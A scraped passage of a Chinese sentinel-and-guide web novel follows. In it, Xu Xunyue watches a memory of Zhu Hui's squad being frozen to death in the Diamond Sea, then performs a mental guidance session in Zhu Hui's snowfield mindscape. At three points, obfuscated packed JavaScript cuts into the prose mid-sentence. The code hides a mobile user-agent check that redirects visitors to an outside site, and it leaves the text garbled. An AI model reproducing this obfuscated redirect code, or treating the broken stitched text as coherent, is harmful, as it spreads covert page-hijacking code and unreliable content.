帝国的可考资料里没有对黑暗哨兵的记载,不过,人们习惯将那些失去结合向导却存活下来并清醒着的极少数个体——这些个体都更冷静、更独立——他们会称这类人为“后天的黑暗哨兵”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306031|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“真好,我也想像队长这样,这样就可以尝尝烟是什么味道了。”娃娃脸开始做白日梦。 “就这点志向嘛,为了抽烟想成为黑暗哨兵?中二死了。”瘦削青年对同伴开启嘲讽模式。 “你不懂!我哥是向导,也不知道抽的什么烟,特别好闻,我小时候还喜欢让他吐各种形状的烟圈给我玩。我觉醒时间早,觉醒之前年纪小家里不让抽,觉醒成哨兵……嗐,就更别提了!管它劣质优质,味都冲。” “你哥?我好像听说过,是白塔的老师?” “对啊对啊,他超厉害,你这种没有哥哥的人是不会懂的,嘿嘿。” “滚。” 俩小伙开始吵吵闹闹地说垃圾话。 “那个……亲爱的队医,”一道之前没出现过的新声音响起,是之前一直没说话的第五个小队成员,他留着厚厚的刘海,看上去就很内向,“能帮我调低听觉吗?谢谢你。” 向导姑娘会意,抿抿唇没忍住,终于还是大笑起来。 瘦削青年大惊失色。 “什么?就嫌我们吵了?队长你管管他,这才说几句嘛,一点都不利于内部团结!” 这个人说话喜欢带语气词,徐寻月没忍住分析了一下。 画面转动,祝回的视线扫过四张望过来的年轻面孔,徐寻月依稀听见一道像呼气又像在笑的气息声。 祝回应该也微笑了,半晌,才沉声说: “这次任务是帝君特别发布给队里的,内容为收集钻石海所有待规划区边界的植物样本,计划入口钻石海B1区。这里虽然相对安全,但也不能太过放松。马上要出中城区,车再开一天就开不动了,大家做好徒步和潜水的准备。” “是!” “好的队长。” “收到。” 听到提醒,原本叽叽喳喳的队员收起身上那股松散劲,个个都精神抖擞地挺直腰杆。 看得出来,这是一支关系融洽的队伍,成员都是二十左右的年纪,军衔级别略有不同,对话却没有丝毫隔阂。 比起在徐寻月面前,祝回在这段记忆里显得更加沉稳,四个队员敬他却不怕他,他对这支队伍有着绝对的领导权。 他是这个队伍的队长。 每个在待规划区救援、在灾变区执行任务的小队,都需要一位善于观察和决策的队长。面对危机的时候,成员将百分百执行命令,全力辅助这个角色行动,队长也要承受最重的责任和压力,做队伍中最锋利的矛。 徐寻月无比熟悉这个位置,曾经无数次被同伴、被生活在待规划区的居民喊过这个称呼,他知道这个位置最容易受到攻击,死亡率极高。 可活到现在,曾经同行的人反而远去,需要记住的名字越来越多。 即便代表求生本能的焰火从未熄灭,也知道其中有一定的实力因素影响,徐寻月有时仍然会想,自己的运气还是太好。 大家都有拼命去活,为什么走出灾变区的是他? 他对此感到惭愧。 运气真是个难以控制的玩意,他厌恶不可控的一切,因为不可控是意外,是毫无防备,是无能为力。 离别和死亡,可能就在明天。 一转眼,记忆树叶中的画面来到海底。 在画面的最边缘,隐隐能看到海上飘着的浮冰,海水十分清澈,视野正中央有一片规模不小的藻群。 这里明明这样冷,它们却利用穿透冰层的微弱光线努力光合作用,形成一片葱郁的海底森林,把光尘转化为丁达尔效应的乱影。 五彩斑斓的游鱼绕着哨兵的长腿转来转去,似乎在好奇罕见的两脚兽来客。 钻石海,B1区。 8. 示好 不论动物还是植物,越深入灾变区,被污染的可能性越大。 待规划区和灾变区相邻,没那么容易出变故,一般有也都是小打小闹。 从画面的角度看,祝回的位置比其他人靠前一些,应该是处于更靠近灾变区的方位,便于留意环境异常。 他的确发现了异常。 在更为幽深、更为遥远的海底,隐隐传来一种奇异响声,与此同时伴随着咕噜噜涌动的水流声,好像有生物在靠近。 祝回的视线定在那个传来声音的方向。 下一秒,画面猛地拉近,放大。 “哗!” 一条巨大的魔鬼鱼迎面撞来。 画面边缘成了虚化的深蓝,海波和沙砾不停荡漾,一条魔鬼鱼之后,又有许许多多的鱼类和鲸豚类疾速游来,如同正在酝酿的风暴。 徐寻月瞬间意识到,这是极少数哨兵才有的天赋,“超感爆发”。 主动将感官应用到极致,短时间内收集无尽信息,却不会因为过度感受伤到大脑。 祝回果断地放大了自己的视觉和听觉,看到,并听见了远在几千米之外的东西。 画面里的动物还在前进,从正常体型的海洋生物,到块头格外大的海洋生物,后者已经有了一些被污染的迹象,只是勉强还在正常范畴里。 海洋中,体型在一定程度上代表战力,体型如此巨大的生物,此刻却毫无理智可言地朝这个方向疯涌,一边游,一边大声鸣叫,也不知是什么在驱使它们。 进食欲望?攻击本能?环境变化?更加强大的灾变生物? 此时此刻,没有人确定。 未知值得警惕,未知需要探索,但此时此刻,在这种环境里,祝回只做了一个决定。 离开。 往同一个方向游,往接近水面的地方游,游到冰面,见到阳光,上船离开,直至双脚踩在厚实的雪地上。 这并不绝对安全,但在待规划区,本来就没有绝对的安全。 画面猛地一变,恢复成祝回周围的景象。 另外四人这时也发现了异状,已经收拾好采集装备,满脸警惕地望向远处的深海。 “你们先走。” “队长——” “少数断后,多数离开,你们独立作战能力不够。”祝回的声音在这样紧张的情况下更冷了,比起雪一样的信息素,它听上去更像寒冰。 他说得没错,留下不止是队长的责任,还有一个最大最重要的原因。 祝回对向导的依赖最小。 向导和哨兵之间的配合是有限制的,不止匹配度限制,还有距离限制,距离越近,向导提供的辅助效果就越稳定,反之则越微弱。 海洋生物和他们的距离在迅速拉近,那些家伙的鸣叫声太大了,另外三人无论谁留下,都需要向导调节,这意味着队伍里向导也会落在后面。而向导的身体素质和反应速度又比哨兵弱一些,一旦成为被攻击的对象,就更容易陷入危机。 祝回做了一个哨兵队长最该做的事,就算上一任首席哨兵在这,同样会做出这样的选择。 在绝大多数场景中,大家都能成功撤离,可这次不一样。 这次任务的细节并未向外披露,但大概遭遇是被公布了的。 徐寻月知道他们遭遇了什么。 死亡冰柱。 而那些恐慌尖叫着的海兽,也是被冰柱驱逐而来,祝回使用超感爆发听见的奇异响动就是快速结冰的声音。 海神纪之前,死亡冰柱是一种出现在两极海域的自然现象。海面结冰析出的盐分形成高浓度盐水下沉,它们的温度比普通海水更低,流经过的地方会迅速冻结。它们像树枝般向下生长、瀑布般向下倾泻,沿途的的海洋生物也会被瞬间冰封,形成海底的冰雕。 海神纪之后,这种现象就出现在灾变区的每一片海域,被称作海神的绞索。 如果是仅仅这样,也不会导致如此严重的后果。 死亡冰柱的水平移动速度很慢,它们本身是垂直向下蔓延的。 怎么可能像画面里那样,驱赶那么多种高泳速鱼类? 没人遇到过这种情况。 被污染过的海洋生物速度倍增,很快,画面尽头出现了代表鱼群的黑点。 作为事故之后的旁观者,徐寻月清楚导火索是尚在几万米外的死亡冰柱,但当时身处其中的祝回还不清楚,他只知道发疯的鱼群就要袭来。 十四年间,灾变生物主动袭击的案例屡见不鲜,他不能让队伍被缠住,几个人只要被追上隔开,局面就会乱作一团。 黑压压的鱼群更加靠近,光线稀少的海底变得阴暗,海藻在激荡起来的海波中痉挛扭曲,整个环境像一场让人绝望的噩梦。 祝回握紧手里的枪,没有后退,而是朝鱼群方向看去。 他再次做了一个正确的决定。 画面再一次拉近。 鳞片割开海水。 放大。 海龟快速游动。 放大。 灰白色模糊影子浮现。 再放大! “咔嚓咔嚓咔嚓咔嚓咔嚓。” 数道蒙着黑雾的闪电直接刺了过来。 画面一震,停住。 徐寻月听到那时祝回变得明显的呼吸声。 凝固在海底的“闪电”,死亡冰柱,终于被十几公里外的哨兵看清。 咔嚓声还在继续,越来越小。 它们远去了,它们靠近了。 灾变生物可以杀,自然灾害只能躲。 然而,祝回依旧没有立即撤退。 他上浮,浮到深海鱼群的上方,放出自己的精神体,两只手都握着枪。 他主动发起了进攻。 海水更加剧烈地翻涌起来。 暴烈的兽群覆盖了周围,让人眼花缭乱的画面快速切换,断裂的腕足、破碎的鳞片、黏连的鳃丝、猩红的海水。 他确实吸引到了灾变生物的注意力,让它们不能那么快地向前冲撞,可在更远的地方,迅速蔓延的冰柱也在无限接近。 祝回的动作却没有丝毫慌乱,他一边战斗,一边继续上浮,引得不少死心眼的家伙跟上去咬他。 腕足断裂的章鱼穷追不舍,触须腐烂的发光水母幽幽贴近,鳃丝渗血的旗鱼吻部尖利。 它们大声鸣叫着,却始终无法掩盖另一种真正带来灾难的声音。 “咔嚓咔嚓咔嚓咔嚓咔嚓咔嚓咔嚓咔嚓咔嚓。” 海底在结冰。 被吸走注意力的海洋生物终于反应过来,不再追着这个不要命的两脚兽攻击,它们歪七扭八地抖抖尾鳍,眼看就要重新踏上逃命之旅。 可惜已经来不及了。 如果海底安装了水银温度计,那么这时候,汞柱一定会跌到让人不敢置信的程度。 所有或惊恐或愤怒的叫声,都在以一个不可理喻的速度消弭,这片空间变得沉寂,比一潭死水有过之无不及。 一切都被冻结了,祝回呢? 他踩在浮冰上。 就在冻结的一瞬间,他游了出来,如银箭击破水镜。 破开猩红的海面,稳稳地、轻轻地,扎在附近结实的浮冰上。 他活着。 这是再好不过的结果,理应令人欢欣鼓舞,生出劫后余生的庆幸,可随之而来的现实不允许当事人放松。 祝回站在冰面上,用视线慢慢环顾四周。 他观察得那么慢,和之前战斗时的速度判若两人。 这片海域已经完全变了。 原本只有少许浮冰的海面基本被全部覆盖,放眼望去,只能从祝回出来的那一片区域看到海水,而那一小片蓝色也在逐渐缩小。 整个海面,都被诡异地冰封了。 四处皆白,没有第二个人类。 脚下的冰层很厚,也不知道它们是如何在短时间内结到这么厚的,还蒙着一层灰黑的雾气,肉眼根本无法看清冰下的世界。 祝回开始往队伍来时的方向走。 冰层那么厚,完全不用担心会突然断裂,可他却走得那么慢,每一步都低着头,视角倾斜微微晃动。 忽然,他停下了。 他脚下是一艘小型军用艇,那是他们来时所用的运输工具,如今却被冻在冰层之内。 但这个位置…… 这个位置明明已经远离灾变区界线很多了,为什么还是会遭遇死亡冰柱? 况且,军用舰遭遇的死亡冰柱显然和祝回面对的不是同一批,而是从反方向,即岸边蔓延过来的。 太荒谬了。 徐寻月皱眉看着画面里的一切。 根据他过去在待规划区和灾变区的经验,这种情况只有一种解释。 少量灾变因子污染生物,大量灾变因子污染环境,钻石海B1区的灾变因子大量外溢,于是灾变区与待规划区之间的界线发生了外移。 近海区域本不属于灾变区,如今,整片海洋却都被囊括进去了。 可是,也不对,如果灾变区真的扩张、界线真的向外移动,这个重要的消息不可能不向外公布,钻石海周围待规划区的序列就应该由B变成C。 画面定在军用舰的位置,一点点下推。 降了大概五米左右,祝回看见了第一个人。 眼球凸出,皮肤青白,脑袋仰着,左臂高举五指张开。 好像在极力朝上抓握什么。 是那个说自己哥哥在白塔当老师的娃娃脸哨兵。 徐寻月忽然想到,自己或许认识他哥哥。 娃娃脸右手拽着他的向导同伴。 那个姑娘的位置比他低半米,她没有向上看,而是低头瞧着比自己位置更低一些的地方。 那里是一位身形极其瘦削的哨兵,他嘴边还有两个大大的冰气泡。 性格内向的哨兵在他侧面,刘海遮住了大半张脸,看不清了。 零下几十度的低温,身体被完全包裹冻结,细胞水分就会结成冰晶。携带灾变因子的冰晶则会浸透他们的血液、触摸他们的皮肤、塞满他们的器官,造成不可挽回的生理损伤。 哪怕这里的冰是普通的冰,祝回都可以尝试凿开冰层,那样至少有可能带回同伴的尸体。 但这里是钻石海的冰,灾变区的自然景观不能用常理看待,它们不遵守自然规律。祝回挖开冰层,就有几率让莫名其妙开始又莫名其妙停止的扩散继续下去,到时候遭难的就是整个待规划区。 所以,祝回没有动。 这是个正确的决定,从头到尾,他都做了正确的决定。 徐寻月几乎听不到画面里的呼吸声了,祝回把呼吸放得很轻,好像稍微重一点的气息声都会打碎什么东西,尽管附近根本没有活物。 他从军装口袋里取出一管针剂。 那是一支军部发放的人工向导素。 注射器活塞缓缓下压,透明管子里的药剂一点点减少,他手臂肌肉不受控制地抽搐了一下。 “咔。” 脚下忽然发出异响。 黑雾笼罩的冰面上,竟出现了无数道蛛丝般的裂纹,蔓延速度奇快无比。 冰层裂了。 没被炽热的阳光照射,甚至压根没形成多久,却消失得比死亡冰柱的出现更加迅速。 那艘军用舰跟着裂开。 军用舰的内里已经被改变了,碎裂时完全看不出本来的金属材料,只有大大小小无穷无尽的冰晶冰块和粉末。 金属是这样,人体呢? 画面中的冰层如潮水褪去般远走,粉碎、坠落、融入大海。 当幸存者站在冰原上回望海面的时候,大海和人们来时一样平静无波,仿佛什么都没发生过。 傍晚,祝回与钻石海B1区哨岗的巡逻士兵相遇。 经当地驻扎部队检测,待规划区和灾变区之间的界线并未移动,灾变区没有扩张,待规划区的边缘不存在过于活跃的灾变因子。 当地哨岗还对祝回进行了检查,三天后结果出炉: 精神状态较为稳定,身体状况较为健康,没有朝灾变体转化的倾向。 半个月后,祝回带着仅剩的材料抵达帝都。 *** 回忆结束,叶片上的画面停顿片刻,开始重新播放徐寻月之前看过的第一幕。 “他们都是很优秀的战士。” 徐寻月轻轻呼出口气,将依旧翠绿的记忆树叶递给祝回。 根据记忆树叶所呈现的画面,钻石海B1区发生的变故简直匪夷所思。 那种来自灾变区的神秘力量奇袭似的涌现,又跟游击战一样一击即脱,就好像知道来了人,故意发动针对性袭击。 当事人的记忆或许不全面,却很难有欺骗性。在危急关头,即便看到的不是真相,那些下意识的举动和流露出的情绪也都是真实的。 祝回的缄默,祝回的愤怒,祝回的痛苦……都在记忆树叶的展示中一览无余。 徐寻月难免想到自己失去队友时的心情。 同为队长,有些情感是相通的,也正因如此,就更知道对方情绪的重量和与之共生的纯粹。 一个人,不知道灾变区变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306032|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故的缘由,为死亡的队员默哀,承担作为队长和帝国士兵的责任,始终保持冷静和坚韧。 这样的他,会是自己最开始怀疑的、不想产生交集的那类人吗? 思绪在脑中闪过,徐寻月注意到,站在自己对面的年轻哨兵微微低着头,脸还向旁边偏了一点,没有和自己对视,更没有什么动作。 早在交易达成之后,徐寻月就解除了精神体对祝回的控制,祝回根本不存在行动上的限制,却没接过那片被他亲手摘下的记忆树叶。 “送你,这个东西能带出去。”他反而说,“它属于我的精神图景,我能感应到它的存在。如果你方便,可以放在口袋里。” ……放在口袋? 徐寻月有些诧异。 让祝回感应他的位置? 这当然、绝对不行,他和祝回几个小时前才正式见面,现在是相互试探和熟悉的阶段,就算以后能成为可靠的伙伴,甚至伴侣,那也是以后的事。 何况这份示好——姑且算是示好——来得颇为突兀,祝回怎么说也是帝国现任的首席哨兵,不比常年驻扎在帝都的那些哨兵好对付,他自然要多留一份心。 这样想着,余光却瞥见对方悄悄颤抖的尾指。 徐寻月等了几秒,给人留了一点缓冲的时间,才说: “是想保护我吗。” 问句的用词,陈述的语气。 祝回抬眼。 他自己都不知道自己在慢慢收紧五指,只是抿了抿唇,低声开口:“我们……我是你的哨兵,法定意义上是,带在身上的话,你遇到危险的时候我能快点赶到。” 算是承认了。 但紧接着,他又说:“它只会在你精神或身体遭受威胁的时候提醒我,其余时间里就相当于一片不会枯萎的普通叶子,不会给你添麻烦。” 徐寻月的诧异更深一层。 祝回的话冥冥之中回应了他的想法。 听上去不错,不过他不会全信,一切都得在生活中亲自验证。 既然已经是合法伴侣,人也已经搬过来了,未来验证的机会将会有很多。 徐寻月礼节性笑笑,将记忆树叶收拢在手心。 “它是一片漂亮的叶子。” 可能是有些不自在,祝回说了句谢谢。 徐寻月眼里划过一丝更深刻的笑意,随即正色道:“那么我们现在开始精神疏导。” “现在开始?”祝回微愣,似乎没想到他会这么说。 “这片雪原——” 徐寻月垂眼看向脚下,祝回也顺着他的视线看去。 洁白冰雪间嵌着朦朦胧胧的灰黑,不知道渗进了第几层,好像无论如何都不可能拔除干净。 徐寻月:“这些黑雾就是那次任务留下的。” 祝回肯定了这个说法:“之前的雪原上只有几条裂缝。” “你知道这些黑雾通常意味着着聚集的灾变因子吗?” “我知道,但我也知道自己没被污染。”祝回毫不避讳,“哨岗仪器并没有检测出这些东西的存在,就更证明它们已经失去了传染性和活性。现在滞留在我精神图景里的,只是灾变因子的某种‘外壳’。 “而且,一旦情况有异,我有百分之百的把握了结自己,保证身边人不被影响。” 说这话时,他一改之前沉默低迷的姿态,眼睛直直看着徐寻月,好像这些话就是为了讲给此时此刻身边这唯一的人听。 实际上,这么说似乎也没问题。 祝回不是热情外向的性格,少年时期父母去世,又因早早参军和白塔同学并不熟悉,相处三年的战友还死无全尸。 他的社会关系网像一棵高挑但枝桠伶仃的树,明明处于潜力无限的成长阶段,却难免显得单调萧索。 刚确定伴侣身份的向导是祝回仅剩的亲密关系。 尽管只是名义上,可至少现在,无论精神图景还是现实世界,他们的确很近,甚至有些亲密。 ……所以才有了态度的转变吗? 徐寻月暗自思忖着,想起这一年年初,在场馆内对台上年轻哨兵的一瞥。 如果说那时祝回的气质像一柄泛着寒光的利刃,那么现在,他在二楼隔着摄像头屏幕看到的就是一个黑洞洞的枪口,同样摄人、同样强大,后者却比前者多了几分保留。 某种暂时不方便拿到台面上说的认知在心底悄然成型。 徐寻月想,那个时候的祝回和现在不太一样,不是性格上的不一样,也不是经历导致的更加成熟坚韧,那是一种近乎精神意志方面的差异。 他好像更自我了一点,不再那么纯粹地信任帝国的一切。 否则,作为帝国的士兵、事故的唯一生还者,为什么不上报自己精神图景出现的异常呢? 而这恰好能解释先前祝回眼里的警惕。 不管怎么说,表面上,徐寻月属于和帝君站在同一战线利益相通的人。 得亏他已经不是了。 所以就算他趁人不备入侵了这里,成为知道祝回精神图景异常的第二个人,并发现对方的状态其实不算太好—— 也不会产生什么严重后果。 只要不是敌人,不干扰他的计划,他当然没必要伤害这个有点可爱的年轻哨兵。 一段前所未有的亲密关系…… 徐寻月也会好奇。 注意到哨兵状态不好的迹象,他就先提了精神疏导。 大概连祝回自己都没意识到自己状态不好,不然,他也不会在徐寻月提出“开始精神疏导”时下意识反问。 但雪原上扩大的裂缝、四处堆积的木屋废墟、灰白色的天空、回避记忆树叶画面的视线、类似应激的保护欲…… 都是战斗留下的经典后遗症。 说起来,祝回好像有点排斥精神疏导这类精神活动。 徐寻月清晰地记得不久前在书房里,祝回扑到自己身上的时候雪狼,吐槽说他之前想当黑暗哨兵,现在终于想开了;而记忆树叶中的向导姑娘也只给另外三个哨兵建立了精神链接,还说祝回是她见过天生最贴近黑暗哨兵的人。 哪怕面对同伴遭难这样突然的刺激,也是给自己打人工向导素,之后在帝都呆了几个月,各大精神疏导室的预约记录里也没有他的名字。 很明显,祝回就是想自己撑过来。 可是,既然排斥,一开始又为什么向他要呢? 正在这时,耳边传来哨兵低且干净的嗓音。徐寻月刚才没说话的时间似乎有点久,于是嗓音里带着微不可察的懊恼。 “那……我们开始精神疏导吗?” 9. 不能欺负 “需要我做什么?”祝回问。 “需要你对我不设防。”徐寻月看看不远处雪地上的鸿沟,还有废墟边碍眼的黑色沙砾,在心底呼唤自己的精神体出来干活。 “噢,”祝回点头,“我会很配合的。” 徐寻月瞥了他一眼。 “我知道。” 这段对话要是传出去,恐怕谁都要惊掉下巴,被预言百分百不合的两个人,居然能有这样和平、默契,甚至听上去有一点暧昧的对话。 徐寻月更关注的,却是祝回的那一点情绪触角。 对方显然对精神疏导并不了解,回复他的字句语气还有点别扭,那种别扭就像是……就像是在迫使自己接受一项未知活动、强行压住飘忽不定的心绪做好准备一样。 徐寻月确实没感受到祝回对他的排斥,也没感受到这片精神图景对他的排斥。 换言之,祝回不是排斥他,而是下意识抗拒“精神疏导”这个词所代表的精神活动本身。 不过徐寻月没在这个时候多问。将得到的讯息记在心底,他把注意力转移到眼前的雪原上。 被污染过的雪像深色的碎玻璃,又黑又硬,破坏了原本无暇的风光。木屋残骸腐朽结冰,半埋在雪中,边上就是一个长近十米的裂缝,缝里黑黢黢的,也不知人掉进去会怎么样。 这里的地面并不平整,左边凹一块,右边凸一块,有的地方雪少,有的地方雪多,是很难清理的样子。 就算帝都最知名的精神疏导医师,也要对着雪原苦苦思考,觉得这片精神图景的面积太大,环境也过于酷烈,实在难以找到切入点。 可是,受了这么严重的伤,精神图景的主人却没有表露过脆弱,更不曾向谁求助。 直到一个攻击型向导入侵了这里。 一切开始变好。 阴影从徐寻月脚下蔓延出去,散落开来。 它们的颜色比污染雪地的灾变因子更深,是一种纯粹的黑色;它们所占的范围也足够宽阔,能将地上的废墟覆盖;它们还可以随心所欲地活动,形成工具或包围圈。 它们侵蚀冰雪,进入土地,一个个态度积极得不得了,比死亡冰柱的速度还快,很有鸠占鹊巢成为雪原新主人的派头。 和它们比起来,那些嵌在雪原上动弹不得的灾变因子简直小巫见大巫,二者完全不是一个量级的。阴影们浩浩荡荡势不可挡,看上去,它们才该是最让人心生畏惧的东西。 徐寻月心情不错。 他知道自己此刻的情绪要比平常高一些。这是他第一次做精神疏导,而效果似乎比想象中还要好。 被白塔教科书写进向导必修课本1的精神疏导,原来就是这样。 它有一种宏大的、难以准确形容的微妙感觉,却又无需用雕刻般的心态研究打磨。 只要遵从本能,去描绘去触摸,就能自然而然地做到这件事。 这也是他少年时期一直渴望做到的。 人在经历失去之后,总会想握紧另外一些东西。当徐寻月在灾变第一年侥幸存活,并进入白塔学习之后,他一直很要强,什么都想做到最好,能尝试的都会尝试。 理论课、实战课、枪/械课、野外生存课……以及几年后的参军生活,所有他想做的,就一定会尽力去做,直到自己满意,或者确定无法达成。 当年在向导学院,徐寻月就是好几年里广为流传的风云人物,保持着学院许多课程的最高分记录。 但有些东西不是他能决定的,比如精神疏导实践课。 0分。 0分! 在他之前,帝国好几百年都没出现过攻击型向导了,这个名词和黑暗哨兵一样,成了传说中带有英雄色彩的神秘意象。 而攻击型向导这种细分属性在觉醒初期是测不出来的,得随着时间一年年过去,从一个人的作战方式、攻击手段、和哨兵的契合度等方面鉴别判定。 所以,虽然徐寻月当年很快就确定了“无法达成”的事实,却不能说,那个十四岁的他一点不开心都没有过。 单兵作战能力固然重要,却不能无视团队的作用。进入军队,大家都是要有伙伴的。 匹配列表空白,难以和哨兵建立精神链接,会不会导致和哨兵共同作战时有困难?达到同样配合度的训练时间是不是要更长? 当然,再后来,徐寻月用事实证明,他的团队作战能力和他的单兵作战能力一样优秀。 但他绝对没想到,十多年过去,原本空白的匹配列表上居然会多出一个人。 徐寻月看看精神体积极转悠的样子,自己也迈开脚步。 这里说是雪原,实际上不止有雪,在不那么中心的区域,还有被雪覆盖的白色杉树和裸露出原色的岩石。 徐寻月朝远离那座绿色高山的方向走了一会,停住脚步慢悠悠蹲下。 他把一棵长在石头和白雪之间、却可怜兮兮倒伏下去的植物扶了起来。 与此同时,阴影们也快速移动着。 它们趁徐寻月不注意,居然分出一小部分,明目张胆地朝祝回的军靴靠近。 年轻哨兵下意识退了一步。 阴影又近一步。 祝回本来还想再退,可鬼使神差地,他望了眼徐寻月的方向。 然后发现徐寻月根本没往自己这边看,徐寻月好像在看地上的一棵草。 祝回:“……” 也对,如果是徐寻月有意操控精神体,阴影的速度肯定不会慢到被他发现并轻松避开、退一步再退一步。 那就应该是精神体的自主行动。 精神体有一定的想法,却不是完全独立的生物。当它们的主人聚精会神发出命令时,二者意志完全等同;但如果主人分心,没有特地管着它们,它们就可能进行一些自由发挥。 面对围在脚边的阴影,祝回有点为难了。 他不知道怎么形容自己当下的感觉,毕竟他总认为阴影做的事和徐寻月风格不太像,二者很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306033|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难联系到一起。 觉得恶劣吗?不是。 感到排斥吗?没有。 他有点没懂徐寻月精神体的意思。 想和他玩? 雪狼倒是挺喜欢和他玩,但眼前……应该也不是那个意思吧。 就这么一为难,在原地站了两秒,祝回站的地方竟被围成了个半径半米白色圆,圆外则是一个宽为三米的黑色圆环。 画面看着挺惊悚,可阴影们又没有再动。 祝回抿了抿唇。 紧接着,那么一个大活人直接消失了。 一只被缩小到只有亚成年体型的白色毛茸茸从天而降,正正好,落在那个白色的圆上。 一分不多,一分不少。 被放出来的雪狼还不知道发生了什么,耳朵往后一背,眼里写满疑惑。 …… “?” 徐寻月正看着眼前雪原一点点恢复它最真实的颜色,却忽然听见远处传来精神体极力掩饰的欢呼声。 一回头,就看见大片大片的黑色在往同一个地方扑。 那地方也是黑的,比灾变因子污染留下的灰黑色深得多,一看就知道也是自己的精神体,只是下面好像有什么东西在动。 徐寻月开始在自己脑子里和精神体沟通。 他问了句在做什么,也没指望得到正经回复,却没想到几秒后,重重叠叠让人头晕的情绪便如海浪般砸了过来。 【是小狼崽耶……】 【不对,这是亚成年狼。】 【他好聪明,知道金蝉脱壳。】 【胡说什么?我们本来就是准备找小狼玩的。】 【是呀是呀,我们只是想看看他,是他自己跑掉了。】 【不能跟我们抢小狼,小狼是我们的,他才是你的。】 饶是徐寻月,也愣了那么一下。 他的精神体居然产生了这么丰富的情绪。 对徐寻月而言,在所有高级哨兵和高级向导的精神体中,属于雪狼的情绪最为清晰,其余的都比较模糊。 至于他自己的精神体…… 也不能说模糊,它们经常表现得很“深沉”,小孩装大人的那种“深沉”,有时候还要凹“沉默寡言”的精神体设。 遇到讨厌的人和精神体,就跟徐寻月传递“讨厌,讨厌,讨厌”,复读机一样,没有什么复杂的表达。 遇到不讨厌的人和精神体,就一个字都不多说。 遇到喜欢的人和精神体…… 或许就是这样。 雪狼之前并没有出现,现在大概是祝回把它放出来玩了。 于是徐寻月叮嘱自己的精神体,和人家玩可以,但是不能欺负;就算欺负,也不能太过分。 【当然。】 【会的,会的。】 【知道,知道。】 在阴影们的叽叽喳喳里,徐寻月隐约听见雪狼叫了几声。 声音软软,跟被捂了嘴筒子似的。 10. 星星和花 徐寻月看了会雪狼在的位置,觉得祝回应该是休息去了。 在精神疏导的过程中,哨兵其实不需要做太多,只要放松下来,解除所有警戒,把所有屏障和会攻击外来者的自我保护机制关掉。 如果做到以上这些,精神疏导就是一场让哨兵身心放松的冥想仪式,会很舒服,可能还会犯困。 于是,此时此刻,这片辽阔的天穹下,只有徐寻月一个人了。 深黑的阴影落入积雪,先是下沉将其浸透,再一点一点地抽离,将原本所有脏污带走。 倒塌倾颓的木屋一幢幢重建,远处高山上的树木更加葱郁。 徐寻月望着那座高山,看着绿树枝桠上摇摇晃晃迎风舞蹈的一枚枚青叶,最后还是没有朝那个方向走。 算了。 已经答应祝回,这次,就不看他的记忆宫殿好了。 徐寻月深吸口气,觉得祝回精神图景里的空气质量好像也上升了一点。 收回视线,他正准备起身,却发现面前那颗被他扶起的植物发生了些许变化。 这株植物的叶子像莲花座,上面布满绒毛,呈现出一种泛着蓝的绿色。它的茎本来还有些短,此时却拔高了一大截,顶端还长出了一小簇之前没有的椭圆形花苞。 它还在变,花苞以肉眼可见的速度一点点绽放开来。 对于植物而言,这种变化速度是不可思议的,但人类的精神世界和灾变区一样不讲道理,里面的景观都不遵守自然规律。 好像……马上就要开花。 徐寻月意识到这点,驻足继续观察。 一小撮阴影不知道什么时候飘了过来,停在徐寻月脚边,也看着。 花梗逐渐伸长,花苞逐渐膨大,外层很快就裂开露出浅色的萼片,最上面则展开少许更为幼嫩的蓝色。 徐寻月忽然觉得这株植物有点眼熟。 不是精神图景的主人凭空捏造出来的产物,而是现实世界里存在的,一种颇有名气的花。之前没开尚不明显,现在花瓣舒展,倒是唤起了徐寻月的印象。 一朵天蓝色的绿绒蒿。 绿绒蒿生长在低温高海拔地区,姿态艳丽,能做药材。本在过度采集和生态恶化之下陷入濒危,却因其生命力顽强,成为灾变后为数不多延续下来的前纪元植物。 灾变给陆地带来了恐怖的大雪和降雨,导致气温骤降、海平面升高,低海拔地区的城市被全部淹没,其中80%的旧日建筑至今依旧泡在水中。 剩下的人类为了生存不得不朝高海拔地区移动,运气好的,就能在一生中见到绿绒蒿。 它被称为“稀世之花”,一株能活数年,一生只开一次,一次横跨一月。 可是,精神图景里的绿绒蒿能开多久呢? 没有过先例,没有人知道。 或许连祝回自己都不知道这朵花开了。 精神图景是一个自洽的小世界,当它被精神疏导疗愈、状态逐渐变好的时候,其中的某些元素也会自然而然发生改变。 下次再进入这里的话,他会记得来看一看的,徐寻月想。 眼前的绿绒蒿已经进入盛花期,花瓣烂漫明丽,又因为是天蓝色,多了几分云彩的温柔,衬得开着花的雪地都像是在发光。 盘桓在徐寻月脚边的阴影蠢蠢欲动,分出一缕就要往花瓣上缠。 